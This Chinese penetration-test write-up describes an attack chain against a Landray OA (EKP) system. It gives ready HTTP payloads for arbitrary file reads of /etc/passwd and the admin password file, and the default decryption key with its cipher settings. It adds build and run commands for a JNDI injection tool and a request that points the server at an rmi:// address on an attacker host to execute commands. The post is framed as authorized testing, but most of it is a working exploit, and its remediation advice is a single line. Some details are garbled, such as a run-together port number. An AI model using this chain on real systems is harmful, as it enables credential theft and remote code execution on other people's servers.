记一次密码读取+SSRF渗透测试

2021-08-20 10:02:09 浏览数 (1)

0x01 背景

记一次授权的渗透测试,目标网站使用了某凌OA(EKP)办公系统,版本存在任意文件读取和SSRF JNDI远程命令执行安全缺陷,本文仅对这方面做相关描述,针对此网站系统进行的信息收集覆盖面和其他测试小工具就不再赘述了... 【旺柴】——手动狗头,厚码见谅,大佬轻喷~

0x02 概述

系统存在任意文件读取漏洞,攻击者可利用该漏洞读取管理员密码配置文件或读取系统其他敏感文件,获取加密口令后可通过默认key对密码进行解密,从而登入系统配置管理后台,携带登入后台的Cookie可利用SSRF漏洞进行远程命令执行操作。

0x03 任意文件读取

漏洞位置在/sys/ui/extend/varkind/custom.jsp,也就是在custom.jsp这个页面;

  • 请求方法为POST;
  • 请求包&Payload如下:

读取/etc/passwd文件

代码语言:javascript复制
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Cookie: 
Connection: close
Content-Length: 42

var={"body":{"file":"file:///etc/passwd"}}

读取/WEB-INF/KmssConfig/admin.properties配置文件,获取管理员加密口令

代码语言:javascript复制
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Cookie: 
Connection: close
Content-Length: 60

var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

0x04 任意文件读取POC

0x05 SSRF JNDI远程命令执行

利用漏洞读取/WEB-INF/KmssConfig/admin.properties配置文件,使用默认密钥对密码进行解密

  • 模式:ECB
  • 填充:ZeroPadding
  • 偏移量:ECB模式不需要
  • 默认密钥:kmssAdminkey

得到明文密码后,访问/amdin.do系统配置管理后台进行登入操作;JNDI的远程命令执行,需要配合后台密码进行执行;没有密码,即使有SSRF的读取也是没有用处的,因为Web系统可能更改了默认安装的路径,导致读取不到

成功登入后,使用JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可执行程序为jar包,在命令行中运行以下命令:

代码语言:javascript复制
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [IP]

其中:

代码语言:javascript复制
 -C - 远程class文件中要执行的命令。
  (可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")
 
 -A - 服务器地址,可以是IP地址或者域名。
  (可选项 , 默认地址是第一个网卡地址)

注意:要确保109913898180端口可用,不被其他程序占用。

工具获取:源码下载到本地然后自行编译打包。(在Java1.7 、Java1.8 和 Maven 3.x 环境下测试可以)

代码语言:javascript复制
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests

运行工具监听端口,进行ping dnslog测试

代码语言:javascript复制
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping b50dpx.dnslog.cn" -A "xxx.xxx.xxx.xxx"

代码语言:javascript复制
POST /admin.do HTTP/1.1
Host: 
Content-Length: 68
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: 
Connection: close

method=config&datasource=rmi://xxx.xxx.xxx.xxx:1099/zosci3

0x06 漏洞修复建议

目前厂商已提供相关漏洞补丁链接,请关注厂商主页随时更新。

0 人点赞